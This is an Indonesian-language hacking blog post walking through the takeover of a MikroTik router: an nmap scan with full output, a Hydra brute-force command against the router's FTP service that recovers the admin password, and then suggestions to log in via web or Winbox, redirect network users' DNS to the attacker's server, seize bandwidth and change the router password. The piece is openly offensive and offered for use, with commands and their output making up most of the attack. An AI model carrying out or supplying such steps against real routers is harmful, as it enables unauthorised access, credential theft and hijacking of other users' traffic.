from black-c0depost
by:cyberwild
Tidak ada sistem yang aman
100%, karena begitu banyak kemungkinan jika kita melihat dari berbagai sisi,
sebelumnya penulis menulis artikel untuk hacking mikrotik dari sisi celah di
telnet, tapi sebenarnya sama bahayanya dengan telnet yaitu FTP.
Percobaan penulis
melakukan serangan BF (brute force) pada http, telnet dan ssh mengalami
kegagalan, setelah termenung sekian lama ahkirnya penulis ingat serangan BF
pada FTP di waktu sebelumnya, ahkirnya penulis mencoba melakukan BF pada FTP
dan hasilnya ternyata bisa. Hmm username dan password untuk http, telnet, ssh,
telnet adalah sama, satu celah kena maka semua kena, jadi?
Dari sisi kompatibilitas
mikrotik dapat diancungi jempol tapi akibat dari banyaknya kompatibilitas yang
ada dapat membawa ancaman lebih besar, seperti pada telnet yang penulis bahas
dan praktek diartikel yang sebelumnya.
Oke, kita langsung praktek
saja, kita periksa port yang terbuka di mikrotik
C:\Documents and
Settings\serverdata>nmap -A 192.168.1.174
Starting Nmap 5.21 ( http://nmap.org ) at 2011-11-07
15:36 Pacific Standard Time
Nmap scan report for
192.168.1.174
Host is up (0.00013s
latency).
Not shown: 993 closed
ports
PORT STATE SERVICE VERSION
21/tcp open ftp MikroTik
router ftpd 3.20
22/tcp open ssh OpenSSH
2.3.0 mikrotik 2.9 (protocol 1.99)
|_sshv1: Server supports
SSHv1
| ssh-hostkey: 1024
c6:5e:04:d3:12:db:1d:98:c9:17:e2:98:77:d4:39:ba (RSA1)
|_1024
76:68:bc:ee:e3:40:f5:6b:72:ea:44:55:df:86:06:ec (DSA)
23/tcp open telnet Linux
telnetd
80/tcp open http MikroTik
router http config
|_html-title: mikrotik
routeros > administration
2000/tcp open winbox
MikroTik WinBox management console
8080/tcp open http-proxy
Mikrotik http proxy
8291/tcp open unknown
MAC Address:
08:00:27:22:84:F1 (Cadmus Computer Systems)
Device type: media device
Running: Chumby embedded
OS details: Chumby
Internet radio
Network Distance: 1 hop
Service Info: OS: Linux;
Device: router
HOP RTT ADDRESS
1 0.13 ms 192.168.1.174
OS and Service detection
performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1
host up) scanned in 170.00 seconds
Ternyata banyak port dan
service yang terbuka di mikrotik.
Oke tidak perlu
berpanjang-panjang lebar lagi, kita langsung hack saja mikrotik target.
C:\Documents and
Settings\serverdata>
H:\hydra>hydra -l admin
-P kamus.txt 192.168.1.174 ftp
Hydra v6.0 (c) 2011 by van
Hauser / THC – use allowed only for legal purposes.
[DATA] 16 tasks, 1
servers, 23 login tries (l:1/p:23), ~1 tries per task
[DATA] attacking service
ftp on port 21
[21][ftp] host:
192.168.1.174 login: admin password: jagoan
[STATUS] attack finished
for 192.168.1.174 (waiting for childs to finish)
Binggo, password mikrotik
sudah didapat, kita coba masuk lewat web.
Saat login dan exploitasi
yang dapat dilakukan.
Menghajar para pengguna
jaringan di mikrotik dengan mengarahkan DNS Servernya ke DNS Server milik kita,
ya samalah tekniknya dengan teknik di artikel sebelumnya yang penulis tulis
untuk poisoning DNS para pengguna yang menggunakan DHCP router.
Ingin dapat bandwidth full
?
Terbatas di web, pakai
winbox saja dan login pakai pakai password yang kita hack dari FTP sebelumnya
biar lebih banyak option lagi, jika ingin mengganti password router password
mikrotik di winbox maka contohnya klik saja password dan muncul form input
untuk password lama dan password baru.
09.18
http://gnaces-cyber4rt.blogspot.com/
Posted in: Hacking
